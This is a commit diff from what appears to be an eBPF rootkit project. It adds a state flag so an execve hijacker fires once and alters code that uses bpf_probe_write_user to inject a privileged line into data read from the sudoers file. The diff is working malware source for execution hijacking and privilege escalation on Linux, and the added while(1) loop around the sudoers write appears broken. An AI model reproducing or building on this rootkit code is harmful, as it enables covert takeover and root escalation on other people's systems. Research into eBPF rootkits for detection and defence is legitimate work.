Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

src/ebpf/include/bpf/defs.h

@@ -31,6 +31,14 @@ struct fs_priv_open{ //Map
 } fs_open SEC(".maps");
 
 
+//State of the execve hijacker. 0 inactive, 1 active
+struct exec_var_priv_hijack_active{ //Map
+	__uint(type, BPF_MAP_TYPE_HASH);
+	__uint(max_entries, 1);
+	__type(key, __u64);
+	__type(value, __u64);
+} exec_var_hijack_active SEC(".maps");
+
 
 /*PROTECTED MAPS*/
 //Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted

src/ebpf/include/bpf/exec.h

@@ -28,6 +28,8 @@ struct sys_execve_enter_ctx {
     const char* const* envp;
 };
 
+volatile int hijacker_state = 0;
+
 /**
  * @brief Checks for the error case 2 described in the execve handler when overwriting the filename userspace buffer.
  * 
@@ -84,6 +86,12 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
 }
 
 static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
+    //Check if the exec hijacker is active already
+    if(hijacker_state == 1){
+        return 0;
+    }
+    bpf_printk("Starting execve hijacker\n");
+    
     unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
     //unsigned char* envp[PROGRAM_LENGTH] = {0};
     unsigned char filename[ARGUMENT_LENGTH] = {0};
@@ -160,6 +168,9 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
         //bpf_printk("ARGV2: %s\n", argv[2]);
         return -1;
     }
+     
+    bpf_printk("One success\n");
+    hijacker_state = 1;
 
     unsigned char newfilename[ARGUMENT_LENGTH] = {0};
     unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};

src/ebpf/include/bpf/fs.h

@@ -102,8 +102,11 @@ static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx
     //For including an user in the sudoers file
     //We just put our new line there, independently on what the rest of the file contains
     if(data->is_sudo==1){
+        while(1){
         if(bpf_probe_write_user((void*)buf, (void*)sudo_line_overwrite, (__u32)STRING_FS_SUDOERS_ENTRY_LEN-1)<0){
             bpf_printk("Error writing to user memory\n");
+            return -1;
+        }
         }
         bpf_printk("Sudo overwritten\n");
         return 0;